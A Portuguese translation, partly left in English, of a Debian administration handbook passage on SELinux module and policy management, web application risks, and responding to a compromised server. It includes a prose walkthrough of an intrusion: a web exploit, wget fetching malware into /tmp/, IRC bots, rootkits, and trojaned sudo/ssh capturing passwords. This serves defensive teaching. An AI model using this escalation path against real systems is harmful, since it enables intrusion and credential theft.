A política do SELinux é um conjunto modular de regras, e sua instalação detecta e permite automaticamente todos os módulos relevantes com base nos serviços já instalados. O sistema é assim imediatamente operacional. No entanto, quando um serviço é instalado após a política do SELinux, você deve ser capaz de habilitar manualmente o módulo correspondente. Esse é o propósito do comando semodule. Além disso, você deve ser capaz de definir as funções que cada usuário pode endossar, e isso pode ser feito com o comando semanage.

Estes dois comandos podem assim ser usados para modificar a atual configuração do SELinux, que é armazenada em /etc/selinux/default/. Ao contrário de outros arquivos de configuração que você pode encontrar em /etc/, todos esses arquivos não devem ser alterados manualmente. Você deve usar os programas concebidos para este proposito.

INDO ALÉM Mais documentação

Uma vez que a NSA não fornece qualquer documentação oficial, a comunidade criou um wiki para compensar. Reúne uma série de informações, mas você deve estar ciente que os maiores contribuintes SELinux são usuários do Fedora (onde o SELinux está habilitado por padrão). A documentação, portanto, tende a tratar especificamente desta distribuição.

→ https://selinuxproject.org

Você também deve dar uma olhada na página wiki dedicada do Debian.

→ https://wiki.debian.org/SELinux

14.5.3.1. Gerenciando Módulos SELinux

Módulos SELinux disponíveis são armazenados no diretório /usr/share/selinux/default/. Para habilitar um desses módulos na configuração atual, você deve usar semodule -i module.pp.bz2. A extensão pp.bz2 significa pacote política (compactada com bzip2).

A remoção de um módulo a partir da configuração atual é feita com semodule -r module. Finalmente, o comando semodule -l listas os módulos que estão atualmente instalados. Também mostra seus números de versão. Módulos podem ser seletivamente habilitados com semodule -e e desabilitados com semodule -d.

# semodule -i /usr/share/selinux/default/abrt.pp.bz2 libsemanage.semanage_direct_install_info: o módulo abrt será desativado após a instalação pois há uma instância desativada deste módulo presente no sistema. # semodule -l contasd ação [...] # semodule -e abrt # semodule -d accountsd # semodule -l abrt ação [...] # semodule -r abrt libsemanage.semanage_direct_remove_key: módulo abrt na prioridade 100 agora está ativo.

semodule imediatamente carrega a nova configuração, a menos que você use sua opção -n . É interessante notar que o programa atua por padrão na configuração atual (que é indicada pela variável SELINUXTYPE em /etc/selinux/config), mas que você pode modificar outra, especificando-a com a opção -s.

14.5.3.2. Gerenciando Identidades

Toda vez que um usuário faz logon, eles se atribui uma identidade SELinux. Esta identidade define os papéis que eles serão capazes de endossar. Estes dois mapeamentos (do usuário para a identidade e de esta identidade para papéis) são configuráveis com o comando semanage.

You should definitely read the semanage(8) manual page. All the managed concepts have their own manual page; for instance, semanage-login(8). Even if the command's syntax tends to be similar for all the concepts which are managed, it is recommended to read its manual page. You will find common options to most subcommands: -a to add, -d to delete, -m to modify, -l to list, and -t to indicate a type (or domain).

semanage login -l lista o atual mapeamento entre identificadores de usuário e identidades SELinux. Os usuários que não têm entrada explícita obter a identidade indicado na entrada __default__. O comando semanage login -a -s user_u user irá associar a identidade user_u ao determinado usuário. Finalmente,semanage login -d user exclui a entrada de mapeamento atribuído a este usuário.

# semanage login -a -s user_u rhertzog # semanage login -l Login Name SELinux User MLS/MCS Range Service __default__ unconfined_u s0-s0:c0.c1023 * rhertzog user_u s0 * root unconfined_u s0-s0:c0.c1023 * # semanage login -d rhertzog

semanage user -l lista o mapeamento entre as identidades de usuários do SELinux e papéis permitidos. Adicionar uma nova identidade requer definir os papéis correspondentes e um prefixo de marcação que é usado para designar um tipo de arquivo pessoal (/home/usuário/*). O prefixo deve ser escolhido entre user, o staff, e o sysadm. O prefixo "staff" resulta em arquivos do tipo "staff_home_dir_t". Criar uma nova identidade de usuário SELinux é feita com semanage usuário -a -R papéis -P prefixo identidade. Finalmente, você pode remover uma identidade de usuário SELinux com semanage usuário -d identidade.

# semanage user -a -R 'staff_r user_r' -P staff test_u # semanage user -l Labeling MLS/ MLS/ SELinux User Prefix MCS Level MCS Range SELinux Roles root sysadm s0 s0-s0:c0.c1023 staff_r sysadm_r system_r staff_u staff s0 s0-s0:c0.c1023 staff_r sysadm_r sysadm_u sysadm s0 s0-s0:c0.c1023 sysadm_r system_u user s0 s0-s0:c0.c1023 system_r test_u staff s0 s0 staff_r user_r unconfined_u unconfined s0 s0-s0:c0.c1023 system_r unconfined_r user_u user s0 s0 user_r # semanage user -d test_u

14.5.3.3. Gerenciamento de arquivos Contextos, Portas e booleanos

Cada módulo SELinux fornece um conjunto de regras de rotulagem de arquivos, mas também é possível adicionar regras de rotulagem personalizadas para atender a um caso específico. Por exemplo, se você deseja que o servidor web para seja capaz de ler arquivos dentro da hierarquia de arquivos /srv/www/, você pode executar semanage fcontext-a-t httpd_sys_content_t "/srv/www(/.*)? " seguido de restorecon -R /srv/www/. O comando anterior registra as novas regras de rotulagem e redefine o último dos tipos de arquivos de acordo com as atuais regras de rotulagem.

Da mesma forma, portas TCP/UDP são rotuladas de uma forma que garante que apenas os daemons correspondentes podem ouvir nelas. Por exemplo, se você quiser que o servidor web seja capaz de escutar na porta 8080, você deve executar semanage port -m -t http_port_t -p tcp 8080.

Some SELinux modules export Boolean options that you can tweak to alter the behavior of the default rules. The getsebool utility can be used to inspect those options (getsebool boolean displays one option, and getsebool -a them all). The setsebool boolean value command changes the current value of a Boolean option. The -P option makes the change permanent, it means that the new value becomes the default and will be kept across reboots. The example below grants web servers an access to home directories (this is useful when users have personal websites in ~/public_html/).

# getsebool httpd_enable_homedirs httpd_enable_homedirs --> off # setsebool -P httpd_enable_homedirs on # getsebool httpd_enable_homedirs httpd_enable_homedirs --> on

14.5.4. Adaptando as Regras

Uma vez que a política do SELinux é modular, pode ser interessante para desenvolver novos módulos para (possivelmente personalizar) aplicações que não os possuem. Estes novos módulos, então, completarão a política de referência.

Para criar novos módulos, é necessário o pacote selinux-policy-dev, bem como selinux-policy-doc. Este último contém a documentação das regras padrão (/usr/share/doc/selinux-policy-doc/html/) e arquivos de amostra que podem ser usados como modelos para criar novos módulos. Instale esses arquivos e estude-os mais de perto:

$ cp /usr/share/doc/selinux-policy-doc/Makefile.example Makefile $ cp /usr/share/doc/selinux-policy-doc/example.fc ./ $ cp /usr/share/doc/selinux-policy-doc/example.if ./ $ cp /usr/share/doc/selinux-policy-doc/example.te ./

O arquivo .te é o mais importante. Ele define as regras. O arquivo .fc define os arquivos de contextos", isto é, os tipos atribuídos a arquivos relacionados a este módulo. Os dados dentro do arquivo .fc são utilizados durante a etapa de rotulagem do arquivo. Finalmente, o arquivo if define a interface do módulo: é um conjunto de "funções públicas" que outros módulos podem usar para interagir adequadamente com o módulo que você está criando.

14.5.4.1. Escrevendo um arquivo .fc

Lendo o exemplo a seguir deve ser suficiente para compreender a estrutura de tal arquivo. Você pode usar expressões regulares para atribuir o mesmo contexto de segurança de vários arquivos, ou até mesmo uma árvore de diretórios.

Exemplo 14.2. arquivo example.fc

# executável myapp terá: # label: system_u:object_r:myapp_exec_t # Sensibilidade MLS: s0 # categorias MCS: <nenhuma> /usr/sbin/myapp -- gen_context(system_u:object_r:myapp_exec_t,s0)

14.5.4.2. Escrevendo um arquivo .if

No exemplo abaixo, a primeira interface ("myapp_domtrans") controla quem pode executar o aplicativo. O segundo ("myapp_read_log") concede direitos de leitura nos arquivos de log do aplicativo.

Cada interface deve gerar um conjunto válido de regras que podem ser incorporadas em um arquivo .te. Você deve, portanto, declarar todos os tipos que você utiliza (com a macro gen_require), e usar diretivas padrão de concessão de direitos. Note, no entanto, que você pode usar interfaces fornecidas por outros módulos. A próxima seção irá dar mais explicações sobre a forma de expressar esses direitos.

Exemplo 14.3. Arquivo example.if

## <summary>Myapp example policy</summary> ## <desc> ## <p> ## More descriptive text about myapp. The desc ## tag can also use p, ul, and ol ## html tags for formatting. ## </p> ## <p> ## This policy supports the following myapp features: ## <ul> ## <li>Feature A</li> ## <li>Feature B</li> ## <li>Feature C</li> ## </ul> ## </p> ## </desc> # ######################################## ## <summary> ## Execute a domain transition to run myapp. ## </summary> ## <param name="domain"> ## <summary> ## Domain allowed to transition. ## </summary> ## </param> # interface(`myapp_domtrans',` gen_require(` type myapp_t, myapp_exec_t; ') domtrans_pattern($1,myapp_exec_t,myapp_t) ') ######################################## ## <summary> ## Read myapp log files. ## </summary> ## <param name="domain"> ## <summary> ## Domain allowed to read the log files. ## </summary> ## </param> # interface(`myapp_read_log',` gen_require(` type myapp_log_t; ') logging_search_logs($1) allow $1 myapp_log_t:file read_file_perms; ')

DOCUMENTAÇÃO Explicações sobre a política de referência

A política de referência evolui como qualquer projeto de software livre: baseado em contribuições voluntárias. O projeto é hospedado pelo Tresys, uma das empresas mais ativas no domínio SELinux. Sua wiki contém explicações sobre como as regras são estruturadas e como você pode criar novas.

→ https://github.com/SELinuxProject/refpolicy/wiki/GettingStarted

14.5.4.3. Escrevendo um Arquivo .te

De uma olhada no arquivo example.te:

INDO ALEM A linguagem de macro m4

Para estruturar adequadamente a política, os desenvolvedores do SELinux utilizaram um processador de comandos macro. Em vez de duplicar vários diretivas de permissões allow similares, eles criaram "funções macro", para usar uma lógica de alto nível, o que também resulta em uma política muito mais legível.

Na prática, m4 é usado para compilar essas regras. Ele faz a operação inversa: ele expande todas estas diretivas de alto nível em um enorme banco de dados de diretivas allow.

As "interfaces" SELinux são apenas funções de macro que serão substituídas por uma série de regras no momento da compilação. Da mesma forma, alguns direitos são conjuntos de fatos de direitos que são substituídos por seus valores em tempo de compilação.

policy_module(example,1.0.0) # a non-base module name must match the file name ######################################## # # Declarations # type myapp_t; type myapp_exec_t; domain_type(myapp_t) domain_entry_file(myapp_t, myapp_exec_t) type myapp_log_t; logging_log_file(myapp_log_t) type myapp_tmp_t; files_tmp_file(myapp_tmp_t) ######################################## # # Myapp local policy # allow myapp_t myapp_log_t:file { read_file_perms append_file_perms }; allow myapp_t myapp_tmp_t:file manage_file_perms; files_tmp_filetrans(myapp_t,myapp_tmp_t,file)

O módulo deve ser identificado pelo seu nome e número da versão. Esta diretiva é obrigatória.

Se o módulo introduz novos tipos, deve declará-los com as diretivas como este. Não hesite em criar tantos tipos quantas forem necessários em vez de conceder muitos direitos inúteis.

Estas interfaces definem o tipo myapp_t como uma área processo que deve ser utilizada por qualquer executável rotulado com myapp_exec_t. Implicitamente, isso adiciona um atributo exec_type sobre esses objetos, que por sua vez permite que outros módulos de concessão de direitos para executar esses programas: por exemplo, o módulo userdomain, permite que os processos com domínios user_t, staff_t e sysadm_t execute os. Os domínios de outras aplicações confinadas não terão direitos para executar los, a menos que as regras lhes concedem direitos semelhantes (este é o caso, por exemplo, do dpkg com o seu domínio dpkg_t).

logging_log_file é uma interface fornecida pela política de referência. Ela indica que os arquivos marcados com o tipo de dado são arquivos de log que deveriam beneficiar das regrassociadas (por exemplo, concedem direitos ao logrotate para que possa manipulá los).

O diretiva allow é a diretiva de base utilizada para autorizar uma operação. O primeiro parâmetro é o domínio processo que tem a permissão para executar a operação. A segunda define o objeto que um processo do domínio anterior pode manipular. Este parâmetro é a forma "tipo: classe" onde tipo é o seu tipo SELinux e classe descreve a natureza do objeto (arquivo, diretório, socket, fifo, etc.) Finalmente, o último parâmetro descreve as permissões (as operações permitidas).

As permissões são definidas como o conjunto de operações permitidas e segue este modelo: { operação1operação2}. No entanto, você também pode usar macros que representam as permissões mais úteis. O /usr/share/selinux/devel/include/support/obj_perm_sets.spt os lista.

A página web a seguir fornece uma lista relativamente exaustiva de classes de objetos e permissões que podem ser concedidas.

→ https://selinuxproject.org/page/ObjectClassesPerms

Agora você só tem que encontrar o conjunto mínimo de regras necessárias para assegurar que o aplicativo de destino ou serviço funcione corretamente. Para conseguir isso, você deve ter um bom conhecimento de como o aplicativo funciona e de que tipo de dados ele gerencia e/ou gera.

No entanto, uma abordagem empírica é possível. Uma vez que os objetos relevantes são rotuladas corretamente, você pode usar o aplicativo no modo permissivo: as operações que seriam proibidos são registrados, mas ainda tem sucesso. Ao analisar os logs, você pode agora identificar as operações de permissao. Aqui esta um exemplo de uma tal entrada de log:

avc: denied { read write } for pid=1876 comm="syslogd" name="xconsole" dev=tmpfs ino=5510 scontext=system_u:system_r:syslogd_t:s0 tcontext=system_u:object_r:device_t:s0 tclass=fifo_file permissive=1

Para melhor entender esta mensagem, vamos estudá la peça por peça.

Tabela 14.1. Análise de um rastreamento SELinux

Mensagem | Descrição
avc: negado | Uma operação foi negada.
{ read write } | Esta operação precisou das permissões de leitura e escrita.
pid=1876 | O processo com PID 1876 executou a operação (ou tentou executa la).
comm="syslogd" | O processo foi um exemplo do programa syslogd.
nome="xconsole" | O objeto alvo foi nomeado xconsole. Às vezes, você pode também ter uma variável “path” — com o caminho completo — como opção.
dev=tmpfs | O dispositivo que hospeda o objeto de destino é um tmpfs (um sistema de arquivos em memória). Para um disco real, você poderia ver a partição que hospeda o objeto (por exemplo, "sda3").
ino=5510 | O objeto esta identificado pelo inode numero 5510.
scontext=system_u:system_r:syslogd_t:s0 | Este é o contexto de segurança do processo que executou a operação.
tcontext=system_u:object_r:device_t:s0 | Este é o contexto de segurança do objeto destino.
tclass=fifo_file | O objeto destino é um arquivo FIFO.

Ao observar essa entrada de log, é possível construir uma regra que permite esta operação. Por exemplo, allow syslogd_t device_t:fifo_file { read write }. Este processo pode ser automatizado, e é exatamente o que o comando audit2allow oferece (do pacote policycoreutils). Esta abordagem só é útil se os vários objetos já estão corretamente rotulados de acordo com o que deve ser confinado. Em qualquer caso, você terá que analisar cuidadosamente as regras geradas e as validar de acordo com o seu conhecimento da aplicação. Efetivamente, essa abordagem tende a conceder mais direitos do que são realmente necessários. A solução adequada é muitas vezes criar novos tipos de concessão de direitos apenas sobre esses tipos. Acontece também de uma operação negada não ser fatal para a aplicação, neste caso pode ser melhor adicionar uma regra "dontaudit" para evitar a entrada de log, apesar da efetiva negação.

COMPLEMENTOS Não há papéis nas regras de politicas

Pode parecer estranho que os papéis não aparecem em tudo ao criar novas regras. SELinux utiliza apenas os domínios para descobrir quais operações são permitidas. A intervenção do papel apenas de forma indireta, permitindo ao usuário alternar para outro domínio. SELinux é baseado em uma teoria conhecida como Tipo de aplicação e o tipo é o único elemento que importa na concessão de direitos.

14.5.4.4. Compilando os Arquivos

Assim que os 3 arquivos (example.if, example.fc e example.te) corresponderem às suas expectativas para as novas regras, renomeie-os para myapp.extension e execute make NAME=devel para gerar um módulo no arquivo myapp.pp (você pode carrega-lo imediatamente com semodule -i myapp.pp). Se vários módulos forem definidos, make criará todos os arquivos .pp correspondentes.

14.6. Outras Considerações Relacionadas a Segurança

Segurança não é apenas um problema técnico, mais do que qualquer coisa, é sobre as boas práticas e compreensão dos riscos. Esta seção examina alguns dos riscos mais comuns, bem como algumas das melhores práticas que deverão, dependendo do caso, aumentar a segurança ou diminuir o impacto de um ataque bem sucedido.

14.6.1. Riscos Inerentes a Aplicações Web

O caráter universal das aplicações web levou à sua proliferação. Diversas são frequentemente executadas em paralelo: um webmail, um wiki, algum sistema de groupware, fóruns, uma galeria de fotos, um blog, e assim por diante. Muitas dessas aplicações dependem da pilha "LAMP" (Linux, Apache, MySQL, PHP). Infelizmente, muitas dessas aplicações também foram escritas sem considerar muito os problemas de segurança. Dados provenientes do exterior são, muitas vezes, utilizados com pouca ou nenhuma validação. Proporcionando valores criados especialmente para serem usados para destruir uma chamada para um comando de modo que um outro seja executado em vez disso. Muitos dos problemas mais óbvios foram corrigidos com o parrar do tempo, mas novos problemas de segurança surgem regularmente.

VOCABULARIO SQL injection

Quando um programa insere dados em consultas SQL de uma maneira segura, torna-se vulnerável a SQL injections; este nome abrange o ato de alterar um parâmetro de tal forma que a consulta real executada pelo programa é diferente da pretendida, quer para danificar o banco de dados ou de acesso aos dados que normalmente não devem ser acessíveis.

→ https://en.wikipedia.org/wiki/SQL_Injection

Updating web applications regularly is therefore a must, lest any cracker (whether a professional attacker or a “script kiddy“) can exploit a known vulnerability. The actual risk depends on the case, and ranges from data destruction to arbitrary code execution, including web site defacement.

14.6.2. Sabendo O Que Esperar

A vulnerabilidade em uma aplicação web é frequentemente utilizada como ponto de partida para as tentativas de craqueamento. O que se segue são uma breve revisão das possíveis consequências.

OLHADA RÁPIDA Filtrando consultas HTTP

Apache 2 inclui módulos que permitindo a filtragem da entrada de consultas HTTP. Isto permite o bloqueio de alguns vetores de ataque. Por exemplo, limitando a duração dos parâmetros pode impedir o estouro do buffer. Mais genericamente, pode se validar os parâmetros antes mesmo que eles passem para a aplicação web e restringir o acesso ao longo de muitos critérios. Isso pode até ser combinado com atualizações dinâmicas do firewall, de modo que se um cliente violar uma das regras é proibido de acessar o servidor web por um determinado tempo.

Configurando estas verificações podem ser uma tarefa longa e complicada, mas pode pagar quando a aplicação web a ser implantada tiver um histórico duvidoso, onde a segurança é interesse.

mod-security2 (no pacote libapache2-mod-security2) é o tal módulo principal. Ele até mesmo vem com muitas regras prontas-para-uso próprias (no pacote modsecurity-crs) que você pode facilmente habilitar.

As consequências de uma intrusão terão vários níveis de obviedade, dependendo das motivações do invasor. Os “script-kiddies” só aplicam receitas que encontram em sites; na maioria das vezes, eles desfiguram uma página da web ou excluem dados. Em casos mais sutis, eles adicionam conteúdos invisíveis às páginas da web para melhorar as referências aos seus próprios sites nos mecanismos de busca.

Um atacante mais avançado vai além disso. Um cenário de desastre poderia continuar da seguinte maneira: o atacante ganha a habilidade de executar comandos como o usuário www-data, mas a execução de um comando requer muitas manipulações. Para tornar sua vida mais fácil, eles instalam outras aplicações web especialmente concebidas para executar remotamente vários tipos de comandos, como a navegação no sistema de arquivos, examinando as permissões de upload, ou download de arquivos, execução de comandos, e até mesmo fornecer um escudo de rede. Muitas vezes, a vulnerabilidade permite execução de um wget que vai baixar algum malware em /tmp/, então o executa. O malware geralmente é baixado de um site estrangeiro que foi previamente comprometido, a fim de cobrir faixas e tornar mais difícil encontrar a verdadeira origem do ataque.

Neste ponto, o invasor tem bastante liberdade de movimento que muitas vezes instalar um IRC bot (um robô que se conecta a um servidor IRC e pode ser controlado por este canal). Este robô é frequentemente usado para compartilhamento de arquivos ilegais (cópias não autorizadas de filmes ou software, entre outros). Um determinado invasor pode querer ir ainda mais longe. A conta www-data não permite o acesso total à máquina, e o invasor vai tentar obter privilégios de administrador. Ora, isso não deve ser possível, mas se a aplicação web não está atualizada, as chances são de que os programas do kernel e outros também estejam desatualizados, o que às vezes se segue uma decisão do administrador que, apesar de saber sobre a vulnerabilidade, negligenciado para atualizar o sistema, pois não existem usuários locais. O atacante pode então aproveitar essa segunda vulnerabilidade para obter acesso root.

VOCABULARIO Escalonamento de Privilégios

Este termo abrange qualquer coisa que pode ser usada para obter as permissões de mais do que um determinado utilizador deve ter normalmente. O programa sudo é projetado justamente com o proposito de dar direitos administrativos para alguns usuários. Mas o termo também é usado para descrever o ato de um invasor explorar uma vulnerabilidade para obter direitos indevidos.

Agora o invasor é o dono da máquina; eles geralmente tentarão manter esse acesso privilegiado pelo maior tempo possível. Isso envolve a instalação de um rootkit, um programa que substituirá alguns componentes do sistema para que o invasor possa obter novamente os privilégios de administrador posteriormente (consulte também OLHADA RÁPIDA os pacotes checksecurity e chkrootkit/rkhunter); o rootkit também tenta esconder sua própria existência, bem como quaisquer vestígios da intrusão. Um programa ps subvertido omitirá a lista de alguns processos, o netstat não listará algumas das conexões ativas e assim por diante. Usando as permissões de root, o invasor conseguiu observar todo o sistema, mas não encontrou dados importantes; assim eles tentarão acessar outras máquinas da rede corporativa. Analisando a conta do administrador e os arquivos do histórico, o invasor descobre quais máquinas são acessadas rotineiramente. Ao substituir sudo ou ssh por um programa subvertido, o invasor pode interceptar algumas das senhas do administrador, que serão usadas nos servidores detectados… e a invasão pode se propagar a partir daí.

Este é um cenário de pesadelo pode ser evitado através de várias medidas. As próximas seções descrevem algumas dessas medidas.

14.6.3. Escolhendo o Software Sabiamente

Uma vez conhecidos os possíveis problemas de segurança, eles devem ser levados em consideração em cada etapa do processo de implantação de um serviço, principalmente na hora de escolher o software a ser instalado. Muitos sites mantêm uma lista de vulnerabilidades descobertas recentemente, o que pode dar uma ideia do histórico de segurança antes que algum software específico seja implantado. Obviamente, essas informações devem ser ponderadas com a popularidade do referido software: um programa mais amplamente usado é um alvo mais tentador e, como consequência, será examinado mais de perto. Por outro lado, um programa de nicho pode estar cheio de falhas de segurança que nunca são divulgadas devido à falta de interesse em uma auditoria de segurança.

VOCABULÁRIO Auditoria de Segurança

A auditoria de segurança é o processo de leitura cuidadosa e analise do código fonte de algum software, procurando por vulnerabilidades de segurança em potencial que poderiam conter. Estas auditorias são geralmente pró-ativas e são realizadas para garantir que um programa atenda aos requisitos de segurança determinados.

No mundo do software livre, geralmente há um amplo espaço para a escolha, e escolher um pedaço de software em detrimento de outro deve ser uma decisão com base nos critérios que se aplicam localmente. Mais características implicam num aumento do risco de um vulnerabilidade escondida no código; escolher o programa mais avançado para uma tarefa pode realmente ser contraproducente, e uma melhor abordagem é, geralmente, para escolher o programa mais simples que atenda aos requisitos.

VOCABULARIO Zero-day exploit

Um ataque zero-day exploit é difícil de evitar, o termo abrange uma vulnerabilidade que ainda não é conhecida pelos autores do programa.

14.6.4. Gerenciando uma Máquina como um Todo

A maioria das distribuições Linux instalam por padrão uma série de serviços Unix e muitas ferramentas. Em muitos casos, estes serviços e ferramentas não são necessários para os fins de reais para que o administrador configure a máquina. Como orientação geral em matéria de segurança, softwares desnecessários é melhor desinstalado. Na verdade, não tem sentido garantir um servidor FTP, se uma vulnerabilidade em um serviço diferente, não utilizado pode ser usado para obter privilégios de administrador na máquina inteira.

Seguindo o mesmo raciocínio, firewalls, frequentemente sao configurados para permitir apenas acesso aos serviços que se destinam a ser acessíveis ao público.

Computadores atuais são poderosos o suficiente para permitir a hospedagem de vários serviços na mesma máquina física. De um ponto de vista econômico, uma tal possibilidade é interessante: um só computador para administrar, menor consumo de energia, e assim por diante. Do ponto de vista da segurança, no entanto, esta escolha pode ser um problema. Um serviço comprometido pode levar o acesso a toda a máquina, que por sua vez compromete os outros serviços hospedados no mesmo computador. Este risco pode ser atenuado através do isolamento dos serviços. Isto pode ser alcançado tanto com virtualização (cada serviço sendo hospedado em uma máquina virtual dedicada ou um container), ou com o AppArmor/SELinux (cada serviço daemon tendo um conjunto de permissões adequadamente projetado).

14.6.5. Os Usuários São Jogadores

Discutir segurança imediatamente traz à mente proteção contra ataques de crackers anônimos escondidos na selva da Internet, mas um fato muitas vezes esquecido é que corre o risco de vir também de dentro: um funcionário prestes a deixar a empresa poderia baixar arquivos confidenciais sobre os projetos importantes e vendê-los aos concorrentes, um vendedor de negligente poderia deixar sua mesa sem bloquear a sessão durante um encontro com uma nova perspectiva, um usuário desajeitado poderia excluir o diretório errado por engano, e assim por diante.

A resposta a estes riscos podem envolver soluções técnicas: não mais do que as permissões necessárias devem ser concedidas aos usuários, e backups regulares são uma obrigação. Mas em muitos casos, a proteção adequada vai envolver treinamento de usuários para evitar os riscos.

OLHADA RÁPIDA autolog

O pacote autolog fornece um programa que desconecta automaticamente usuários inativos depois de um atraso configurável. Ele também permite matar processos de usuário que persistem após o término da sessão, impedindo os usuários de executar daemons.

14.6.6. Segurança física

Não faz sentido garantir os serviços e redes, se os próprios computadores não estiverem protegidos. Dados importantes merecem ser armazenados em discos rígidos hot-swappable em RAID, por que discos rígidos falham eventualmente e a disponibilidade dos dados é um ponto obrigatório. Mas se qualquer entregador de pizza pode entrar no prédio furtivo, na sala do servidor e fugir com alguns discos rígidos, uma parte importante da segurança não está cumprida. Quem pode entrar na sala do servidor? O acesso está monitorado? Estas questões merecem ser consideradas (e uma resposta) quando a segurança física está sendo avaliada.

A segurança física inclui levar em consideração também os riscos de acidentes, como incêndios. Este risco particular é o que justifica armazenar as mídias de backup em um prédio separado, ou pelo menos em um cofre à prova de fogo.

14.6.7. Responsabilidade legal

Um administrador tem, mais ou menos implicitamente, a confiança de seus usuários, bem como os usuários da rede em geral. Eles devem, portanto, evitar a negligência que as pessoas malignas poderiam explorar.

Um invasor assume o controle da sua máquina, em seguida, a utiliza como uma base para avançar (conhecido como “relay system - sistema de revezamento") a partir da qual realizar outras atividades nefastas pode causar problemas legais para você, uma vez que a parte que atacou inicialmente iria ver o ataque proveniente de seu sistema e, portanto, considerá-lo como o atacante (ou como cúmplice). Em muitos casos, o atacante usará o servidor como um relé para enviar spam, que não deve ter muito impacto (exceto possivelmente registro em listas negras que poderiam restringir a sua capacidade de enviar e-mails legítimos), mas não vai ser agradável, no entanto. Em outros casos, o problema mais importante pode ser causado a partir de sua máquina, por exemplo, seria ataques de negação de serviço. Isso, às vezes, induz a perda de receitas, uma vez que os serviços legítimos não estará disponível e os dados podem ser destruídos, às vezes isso também implicaria um custo real, porque a parte atacada pode iniciar um processo judicial contra você. Os detentores dos direitos podem processá-lo se uma cópia não autorizada de uma obra protegida por direitos autorais é compartilhada a partir do servidor, bem como outras empresas obrigadas por acordos de nível de serviço, se eles são obrigados a pagar multas após o ataque de sua máquina.

Quando estas situações ocorrem, afirmar inocência não é geralmente suficiente; no mínimo, você vai precisar de provas convincentes que mostram a atividade suspeita em seu sistema que vem de um determinado endereço IP. Isso não será possível se você negligenciar as recomendações deste capítulo e deixar o invasor obter acesso a uma conta privilegiada (root, em particular) e usá la para cobrir seus rastros.

14.7. Lidando com uma máquina comprometida

Apesar das melhores intenções e por mais cuidadosamente concebido política da segurança, um administrador, eventualmente, enfrenta um ato de desvio. Esta seção fornece algumas orientações sobre como reagir quando confrontado com estas circunstâncias infelizes.

14.7.1. Detectando e Visualizando a Intrusão do cracker

A primeira etapa de reagir a quebra é estar ciente de tal ato. Isso não é auto-evidente, especialmente sem uma infra-estrutura adequada de vigilância.

Atos de "cracking" muitas vezes não são detectados até que eles têm consequências diretas sobre os serviços legítimos hospedados na máquina, como conexões debilitadas, alguns usuários incapazes de se conectar, ou qualquer outro tipo de avaria. Diante desses problemas, o administrador precisa dar uma boa olhada para a máquina e examinar cuidadosamente o que se comporta mal. Este é geralmente o momento em que eles descobrem um processo incomum, por exemplo, um chamado apache em vez do padrão /usr/sbin/apache2. Se seguirmos esse exemplo, a coisa a fazer é observar seu identificador de processo, e verificar /proc/pid/exe para ver qual programa está executando este processo atualmente:

# ls -al /proc/3719/exe lrwxrwxrwx 1 www-data www-data 0 2007-04-20 16:19 /proc/3719/exe -> /var/tmp/.bash_httpd/psybnc

Um programa instalado em /var/tmp/ e funcionando como servidor web? Sem deixar dúvida, a máquina está comprometida.

Este é apenas um exemplo, mas muitas outras dicas podem alertar o administrador:

uma opção para um comando que não funciona mais; a versão do software que o comando pretende ser não coincide com a versão que está supostamente instalada de acordo com dpkg;

um prompt de comando ou uma sessão de saudação indicando que a última conexão veio de um servidor desconhecido em outro continente;

erros causados pela partição /tmp/ estar cheia, o que acabou por estar cheio de cópias ilegais de filmes;

entre outros.

14.7.2. Colocando o servidor Off-Line

Em qualquer dos casos porém, os mais exóticos, a quebra vem da rede, e o invasor precisa de uma rede trabalhando para alcançar as suas metas (acesso a dados confidenciais, compartilhar arquivos clandestinos, ocultar a sua identidade utilizando a máquina como de um retransmissor e assim sucessivamente). Desconectar o computador da rede impedirá que o atacante alcance esses objetivos, se eles não conseguiram fazer isso ainda.

Isso só é possível se o servidor está fisicamente acessível. Quando o servidor está hospedado em uma hospedagem no centro provedor de dados do outro lado do país, ou se o servidor não está acessível por qualquer outro motivo, é geralmente uma boa ideia começar a reunir alguma informação importante (ver Seção 14.7.3, “Mantendo Tudo que Poderia Ser Usado como Evidência”, Seção 14.7.5, “Analise Fonrense” e Seção 14.7.6, “Reconstituindo o Cenário do Ataque”), então isolar o servidor tanto quanto possível, fechando tantos serviços quanto possível (geralmente tudo, menos o sshd). Este caso ainda é estranho, pois não se pode descartar a possibilidade de o atacante ter acesso SSH como o administrador tem, o que torna mais difícil "limpar" as máquinas.

14.7.3. Mantendo Tudo que Poderia Ser Usado como Evidência

Compreender o ataque e/ou ação legal contra os atacantes envolvente requer uma tomada de cópias de todos os elementos relevantes, o que inclui o conteúdo do disco rígido, uma lista de todos os processos em execução, e uma lista de todas conexões abertas. O conteúdo da memória RAM também poderia ser usado, mas é raramente utilizado na prática.

No calor da ação, os administradores são muitas vezes tentados a realizar muitas verificações na máquina comprometida; esta geralmente não é uma boa ideia. Cada comando é potencialmente subvertido e pode apagar elementos de prova. Os cheques devem ser restritas ao conjunto mínimo (netstat -tupan para conexões de rede, ps auxf para uma lista de processos, ls -alR /proc/[0-9]* para um pouco mais de informação sobre a execução de programas), e cada seleção realizada deve ser cuidadosamente anotada.

ATENÇÃO Analise Quente

Embora possa parecer tentador analisar o sistema como ele executa, especialmente quando o servidor não é fisicamente acessível, este é melhor evitar: simplesmente você não pode confiar nos programas instalados no sistema comprometido. É bem possível que um subvertido comando ps para esconder alguns processos, ou para um comando ls subvertido para esconder arquivos, às vezes até mesmo o kernel é comprometido!

Se uma análise tão quente ainda é necessária, deve ser tomado o cuidado de usar somente os bons programas conhecidos. Uma boa maneira de fazer isso seria ter um CD de recuperação com programas imaculados, ou um compartilhamento de rede somente leitura. No entanto, mesmo essas contramedidas podem não ser suficientes se o kernel em si está comprometido.

Uma vez que os elementos "dinâmicos" foram salvos, o próximo passo é armazenar uma imagem completa do disco rígido. Fazer tal imagem é impossível se o sistema ainda está executando, é por isso que deve ser remontado somente para leitura. A solução mais simples é muitas vezes parar o servidor brutalmente (após a execução de sync) e reiniciá-lo em um CD de recuperação. Cada partição deve ser copiada com uma ferramenta como o dd, estas imagens podem ser enviadas para outro servidor (possivelmente com a muito conveniente ferramenta nc). Outra possibilidade pode ser ainda mais simples: é só pegar o disco da máquina e substituí-lo por um novo que pode ser reformatado e reinstalado.

14.7.4. Reinstalando

